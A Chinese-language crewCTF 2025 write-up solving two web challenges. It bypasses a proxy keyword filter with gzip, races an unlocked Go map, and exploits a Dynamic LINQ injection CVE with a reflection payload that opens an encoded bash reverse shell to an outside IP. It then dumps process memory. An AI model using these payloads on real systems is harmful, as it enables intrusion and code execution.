文章

crewCTF 2025 wp

proxies

go过滤器会屏蔽字符串GIVE ME FLAG!

	go func() {
		for {
			n, err := client.Read(buf)
			if err != nil {
				if err == io.EOF {
					slog.Info("Client EOF -> CloseRequest")
					_ = protocol.SendCloseRequest(agent.Conn, agentConnID)
				}
				clientToAgent <- err
				return
			}

			data := buf[:n]

			keywords := [][]byte{
				[]byte("chunked"),
				[]byte("json"),
				[]byte("urlencoded"),
				[]byte("give me flag!"),
			}

			for _, kw := range keywords {
				lowerData := bytes.ToLower(data)
				lowerKw := bytes.ToLower(kw)
				searchIdx := 0
				for {
					idx := bytes.Index(lowerData[searchIdx:], lowerKw)
					if idx == -1 {
						break
					}
					idx += searchIdx
					replacement := []byte("REDACTED")
					if len(replacement) > len(kw) {
						replacement = replacement[:len(kw)]
					} else if len(replacement) < len(kw) {
						padding := make([]byte, len(kw)-len(replacement))
						for i := range padding {
							padding[i] = ' '
						}
						replacement = append(replacement, padding...)
					}
					copy(data[idx:idx+len(kw)], replacement)

					searchIdx = idx + len(kw)
				}
			}
			slog.Debug("Client -> Agent", slog.String("data", string(data)))
			_ = protocol.SendDataPacket(agent.Conn, agentConnID, data)
		}
	}()

但是python端接收gzip格式

@app.before_request
def decompress_request():
    encoding = request.headers.get("Content-Encoding", "").lower()
    if encoding in ("gzip", "deflate"):
        raw_data = request.get_data()
        try:
            if encoding == "gzip":
                data = gzip.GzipFile(fileobj=io.BytesIO(raw_data)).read()
            elif encoding == "deflate":
                try:
                    data = zlib.decompress(raw_data)
                except zlib.error:
                    data = zlib.decompress(raw_data, -zlib.MAX_WBITS)
            request._cached_data = data
            request.environ["wsgi.input"] = io.BytesIO(data)
            request.content_length = len(data)
        except Exception as e:
            return f"Failed to decompress request body: {e}", 400

发送gzip格式即可拿到flag1

import requests
import gzip

BASE_URL = ""

def get_flag1():
    payload = b"GIVE ME FLAG!"
    try:
        compressed_payload = gzip.compress(payload)
    except Exception as e:
        return None
    headers = {
        'Content-Encoding': 'gzip',
        'Content-Type': 'application/octet-stream'
    }
    url = f"{BASE_URL}/path"
    try:
        response = requests.post(url, data=compressed_payload, headers=headers, timeout=5)
        
        if response.status_code == 200 and "OK HERE IS YOUR FLAG" in response.text:
            flag = response.text.split(': ')[-1].strip()
            print(flag)
            return flag
        else:
            print(response.text)
            return None
            
    except requests.exceptions.RequestException as e:
        return None

if __name__ == "__main__":
    flag1 = get_flag1()

crew{yk2i2mwvt03dg4o6

FLAG2

tunnel/cmd/agent/main.go 这里的map没有锁,可以并行写入

var connections = make(map[uint32]net.Conn)

connID := util.GenerateConnID(int(m.Port))
connections[connID] = outConn

有可能在竞争时出错?写脚本试试

import requests
import threading
import time

BASE_URL = ""

FLAG = None
STOP_THREADS = threading.Event()

def exploit(session):
    try:
        session.get(f"{BASE_URL}/admin_check", timeout=1, stream=True)
        response = session.get(f"{BASE_URL}/admin", timeout=2)
        if "I am admin, here is your flag" in response.text:
            global FLAG
            FLAG= response.text.split(': ')[-1].strip()
            print(FLAG)
            STOP_THREADS.set()
    except Exception:
        pass

if __name__ == "__main__":
    num_threads = 50
    threads = []
    start_time = time.time()
    for i in range(num_threads):
        session = requests.Session()
        thread = threading.Thread(target=exploit, args=(session,), name=f"{i+1}")
        threads.append(thread)
        thread.start()
        time.sleep(0.01)

    for thread in threads:
        thread.join(timeout=1)

然后看运气,大概运行个几次就出了

ly2hmu3bvioie8t4}

结合起来

crew{yk2i2mwvt03dg4o6ly2hmu3bvioie8t4}

Reflective

  public IEnumerable<Note> GetLatestNotes(string title, int page = 0)
  {
      string query = "Title.Contains(\"" + title + "\")";

      return this._notes
          .AsQueryable()
          .OrderByDescending(n => n.CreatedAt)
          .Where(query)
          .Skip(page * 10)
          .Take(10);
  }

这里查询存在注入,而Asqueryable方法来自Dynamic Linq,这个库存在一个cve在题目依赖版本下可用

https://github.com/advisories/GHSA-w65q-jcmv-28gj

Dynamic Linq 1.0.7.10 到 1.3.0 之前的 1.2.25 允许攻击者在解析 Where、Select、OrderBy 等方法的不受信任输入时执行任意代码和命令。

另外,部分dll(包含flag)加载后就被删除了

    public static void InitializeBookKeeper(IServiceCollection services)
    {
        string bookKeeper
            = Path.Join(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location),
                "BookKeeper.dll");
        if (!File.Exists(bookKeeper))
        {
            throw new Exception($"Couldn't find {bookKeeper}");
        }

        byte[] bytes = File.ReadAllBytes(bookKeeper);
        Assembly assembly = AppDomain.CurrentDomain.Load(bytes);

        Type initializer = assembly.GetExportedTypes().First(n => n.Name == "Initializer");
        initializer.GetMethod("Initialize")!.Invoke(null, [services]);

        File.Delete(bookKeeper);
    }
}

所以似乎不太能通过反射直接获取flag?

".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()
.Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First()
.GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))
.GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last()
.Invoke(null, new Object[]{"/usr/bin/bash", "-c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEzLjE5Mi41MC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"}).ToString() + "asd

通过cve,可以弹shell出来,但远程环境禁止读取mem,无法dump内存,dll也被删了

但是可以用官方工具dump下来内存

wget https://aka.ms/dotnet-dump/linux-x64
chmod +x linux-x64
./linux-x64 collect -p 1 -o dump.dmp
grep -a -o "c.r.e.w.{.*}" dump.dmp | tr -d '\\0'

#crew{dotnet_reflection_is_weird_is_it_not__why_do_i_care}

许可协议:  CC BY 4.0